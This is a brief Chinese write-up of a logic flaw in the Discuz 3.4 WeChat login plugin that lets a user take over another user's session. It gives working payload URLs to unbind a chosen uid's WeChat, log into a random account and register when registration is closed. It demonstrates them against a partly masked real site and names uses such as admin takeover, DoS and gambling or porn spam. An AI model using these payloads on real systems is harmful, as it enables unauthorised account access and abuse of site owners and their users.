Discuz逻辑漏洞之微信登陆
- 漏洞分析:
Discuz3.4默认安装微信登录,如果用户点了一下绑定微信,但没绑定,会写入common_member_wechatmp
,wechat.inc.php
230行附近
会取出第一个用户,然后重复使用这个tmp,但是在取出后,seloginstatus($number,1296000)
就会导致可以越权上一个用户。 - Payload:
解除指定uid绑定的微信:
/plugin.php?id=wechat:wechat&ac=unbindmp&uid={uid}&hash={formhash}
登陆第一个openid为空的账号:
/plugin.php?id=wechat:wechat&ac=wxregister
- 演示
插入payload:
返回网站,随机选中一名幸运观众
- 危害
如果管理员第一个,那就直接进管理员了,一般都是经验高的用户。
另外无限注册,导致dos,以及绕过注册限制,从而可以做HC,黄赌毒外推那种。 - 实例
目标:http://www.xxxxx.net/
登陆一个随机的账号:
http://www.xxxxx.net/plugin.php?id=wechat:wechat&ac=wxregister&username=asadsads
注册账号,即使这个网站禁止注册:
http://www.xxxxx.net/plugin.php?id=wechat:wechat&ac=wxregister&username=whirlwind&wxopenid=abcdefg